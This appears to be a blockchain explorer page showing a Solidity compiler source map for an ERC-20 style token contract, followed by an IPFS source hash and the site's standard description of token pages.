335:3498:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1500:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1950:150;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1591:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2798:253;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1314:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1690:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2272:173;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1405:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2108:156;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1808:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1500:83;1537:13;1570:5;1563:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1500:83;:::o;1950:150::-;2016:4;2033:37;2042:10;2054:7;2063:6;2033:8;:37::i;:::-;2088:4;2081:11;;1950:150;;;;:::o;1591:91::-;1635:7;1662:12;;1655:19;;1591:91;:::o;2798:253::-;2887:4;2904:36;2914:6;2922:9;2933:6;2904:9;:36::i;:::-;2951:70;2960:6;2968:10;3014:6;2980:11;:19;2992:6;2980:19;;;;;;;;;;;;;;;:31;3000:10;2980:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;2951:8;:70::i;:::-;3039:4;3032:11;;2798:253;;;;;:::o;1314:83::-;1355:5;1380:9;;;;;;;;;;;1373:16;;1314:83;:::o;1690:110::-;1747:7;1774:9;:18;1784:7;1774:18;;;;;;;;;;;;;;;;1767:25;;1690:110;;;:::o;2272:173::-;2319:7;2364:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2346:52;;;2407:4;2414:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2346:91;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2339:98;;2272:173;:::o;1405:87::-;1444:13;1477:7;1470:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1405:87;:::o;2108:156::-;2177:4;2194:40;2204:10;2216:9;2227:6;2194:9;:40::i;:::-;2252:4;2245:11;;2108:156;;;;:::o;1808:134::-;1880:7;1907:11;:18;1919:5;1907:18;;;;;;;;;;;;;;;:27;1926:7;1907:27;;;;;;;;;;;;;;;;1900:34;;1808:134;;;;:::o;2457:335::-;2569:1;2550:21;;:7;:21;;;2542:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2646:1;2629:19;;:5;:19;;;2621:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2730:6;2700:11;:18;2712:5;2700:18;;;;;;;;;;;;;;;:27;2719:7;2700:27;;;;;;;;;;;;;;;:36;;;;2768:7;2752:32;;2761:5;2752:32;;;2777:6;2752:32;;;;;;:::i;:::-;;;;;;;;2457:335;;;:::o;3059:771::-;3163:1;3147:18;;:4;:18;;;3139:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3240:1;3226:16;;:2;:16;;;3218:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3310:1;3301:6;:10;3293:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;3368:17;3388:6;;3368:26;;3425:4;3409:21;;:4;:21;;;;:43;;;;;3442:10;;;;;;;;;;;3434:18;;:4;:18;;;;3409:43;:71;;;;;3464:16;:14;:16::i;:::-;3456:24;;:4;:24;;;;3409:71;:91;;;;;3490:10;;;;;;;;;;;3484:16;;:2;:16;;;;3409:91;3405:254;;;3517:15;3551:16;;;;;;;;;;;:24;;;3576:4;3590;3551:45;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3535:63;;3517:81;;3644:3;3634:7;3625:6;:16;;;;:::i;:::-;:22;;;;:::i;:::-;3613:34;;3502:157;3405:254;3708:9;3699:6;3683:9;:13;3693:2;3683:13;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;:34;;;;:::i;:::-;3669:9;:13;3679:2;3669:13;;;;;;;;;;;;;;;:48;;;;3762:6;3744:9;:15;3754:4;3744:15;;;;;;;;;;;;;;;;:24;;;;:::i;:::-;3728:9;:15;3738:4;3728:15;;;;;;;;;;;;;;;:40;;;;3799:2;3784:38;;3793:4;3784:38;;;3812:9;3803:6;:18;;;;:::i;:::-;3784:38;;;;;;:::i;:::-;;;;;;;;3128:702;3059:771;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:474::-;5608:6;5616;5665:2;5653:9;5644:7;5640:23;5636:32;5633:119;;;5671:79;;:::i;:::-;5633:119;5791:1;5816:53;5861:7;5852:6;5841:9;5837:22;5816:53;:::i;:::-;5806:63;;5762:117;5918:2;5944:53;5989:7;5980:6;5969:9;5965:22;5944:53;:::i;:::-;5934:63;;5889:118;5540:474;;;;;:::o;6020:180::-;6068:77;6065:1;6058:88;6165:4;6162:1;6155:15;6189:4;6186:1;6179:15;6206:320;6250:6;6287:1;6281:4;6277:12;6267:22;;6334:1;6328:4;6324:12;6355:18;6345:81;;6411:4;6403:6;6399:17;6389:27;;6345:81;6473:2;6465:6;6462:14;6442:18;6439:38;6436:84;;6492:18;;:::i;:::-;6436:84;6257:269;6206:320;;;:::o;6532:180::-;6580:77;6577:1;6570:88;6677:4;6674:1;6667:15;6701:4;6698:1;6691:15;6718:194;6758:4;6778:20;6796:1;6778:20;:::i;:::-;6773:25;;6812:20;6830:1;6812:20;:::i;:::-;6807:25;;6856:1;6853;6849:9;6841:17;;6880:1;6874:4;6871:11;6868:37;;;6885:18;;:::i;:::-;6868:37;6718:194;;;;:::o;6918:143::-;6975:5;7006:6;7000:13;6991:22;;7022:33;7049:5;7022:33;:::i;:::-;6918:143;;;;:::o;7067:351::-;7137:6;7186:2;7174:9;7165:7;7161:23;7157:32;7154:119;;;7192:79;;:::i;:::-;7154:119;7312:1;7337:64;7393:7;7384:6;7373:9;7369:22;7337:64;:::i;:::-;7327:74;;7283:128;7067:351;;;;:::o;7424:332::-;7545:4;7583:2;7572:9;7568:18;7560:26;;7596:71;7664:1;7653:9;7649:17;7640:6;7596:71;:::i;:::-;7677:72;7745:2;7734:9;7730:18;7721:6;7677:72;:::i;:::-;7424:332;;;;;:::o;7762:221::-;7902:34;7898:1;7890:6;7886:14;7879:58;7971:4;7966:2;7958:6;7954:15;7947:29;7762:221;:::o;7989:366::-;8131:3;8152:67;8216:2;8211:3;8152:67;:::i;:::-;8145:74;;8228:93;8317:3;8228:93;:::i;:::-;8346:2;8341:3;8337:12;8330:19;;7989:366;;;:::o;8361:419::-;8527:4;8565:2;8554:9;8550:18;8542:26;;8614:9;8608:4;8604:20;8600:1;8589:9;8585:17;8578:47;8642:131;8768:4;8642:131;:::i;:::-;8634:139;;8361:419;;;:::o;8786:223::-;8926:34;8922:1;8914:6;8910:14;8903:58;8995:6;8990:2;8982:6;8978:15;8971:31;8786:223;:::o;9015:366::-;9157:3;9178:67;9242:2;9237:3;9178:67;:::i;:::-;9171:74;;9254:93;9343:3;9254:93;:::i;:::-;9372:2;9367:3;9363:12;9356:19;;9015:366;;;:::o;9387:419::-;9553:4;9591:2;9580:9;9576:18;9568:26;;9640:9;9634:4;9630:20;9626:1;9615:9;9611:17;9604:47;9668:131;9794:4;9668:131;:::i;:::-;9660:139;;9387:419;;;:::o;9812:224::-;9952:34;9948:1;9940:6;9936:14;9929:58;10021:7;10016:2;10008:6;10004:15;9997:32;9812:224;:::o;10042:366::-;10184:3;10205:67;10269:2;10264:3;10205:67;:::i;:::-;10198:74;;10281:93;10370:3;10281:93;:::i;:::-;10399:2;10394:3;10390:12;10383:19;;10042:366;;;:::o;10414:419::-;10580:4;10618:2;10607:9;10603:18;10595:26;;10667:9;10661:4;10657:20;10653:1;10642:9;10638:17;10631:47;10695:131;10821:4;10695:131;:::i;:::-;10687:139;;10414:419;;;:::o;10839:222::-;10979:34;10975:1;10967:6;10963:14;10956:58;11048:5;11043:2;11035:6;11031:15;11024:30;10839:222;:::o;11067:366::-;11209:3;11230:67;11294:2;11289:3;11230:67;:::i;:::-;11223:74;;11306:93;11395:3;11306:93;:::i;:::-;11424:2;11419:3;11415:12;11408:19;;11067:366;;;:::o;11439:419::-;11605:4;11643:2;11632:9;11628:18;11620:26;;11692:9;11686:4;11682:20;11678:1;11667:9;11663:17;11656:47;11720:131;11846:4;11720:131;:::i;:::-;11712:139;;11439:419;;;:::o;11864:228::-;12004:34;12000:1;11992:6;11988:14;11981:58;12073:11;12068:2;12060:6;12056:15;12049:36;11864:228;:::o;12098:366::-;12240:3;12261:67;12325:2;12320:3;12261:67;:::i;:::-;12254:74;;12337:93;12426:3;12337:93;:::i;:::-;12455:2;12450:3;12446:12;12439:19;;12098:366;;;:::o;12470:419::-;12636:4;12674:2;12663:9;12659:18;12651:26;;12723:9;12717:4;12713:20;12709:1;12698:9;12694:17;12687:47;12751:131;12877:4;12751:131;:::i;:::-;12743:139;;12470:419;;;:::o;12895:410::-;12935:7;12958:20;12976:1;12958:20;:::i;:::-;12953:25;;12992:20;13010:1;12992:20;:::i;:::-;12987:25;;13047:1;13044;13040:9;13069:30;13087:11;13069:30;:::i;:::-;13058:41;;13248:1;13239:7;13235:15;13232:1;13229:22;13209:1;13202:9;13182:83;13159:139;;13278:18;;:::i;:::-;13159:139;12943:362;12895:410;;;;:::o;13311:180::-;13359:77;13356:1;13349:88;13456:4;13453:1;13446:15;13480:4;13477:1;13470:15;13497:185;13537:1;13554:20;13572:1;13554:20;:::i;:::-;13549:25;;13588:20;13606:1;13588:20;:::i;:::-;13583:25;;13627:1;13617:35;;13632:18;;:::i;:::-;13617:35;13674:1;13671;13667:9;13662:14;;13497:185;;;;:::o;13688:191::-;13728:3;13747:20;13765:1;13747:20;:::i;:::-;13742:25;;13781:20;13799:1;13781:20;:::i;:::-;13776:25;;13824:1;13821;13817:9;13810:16;;13845:3;13842:1;13839:10;13836:36;;;13852:18;;:::i;:::-;13836:36;13688:191;;;;:::o

Swarm Source

ipfs://d4f9cc38eaf06c3e8665edfda321556f4d368a77333844f2e16d0d7e4249bb1c
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.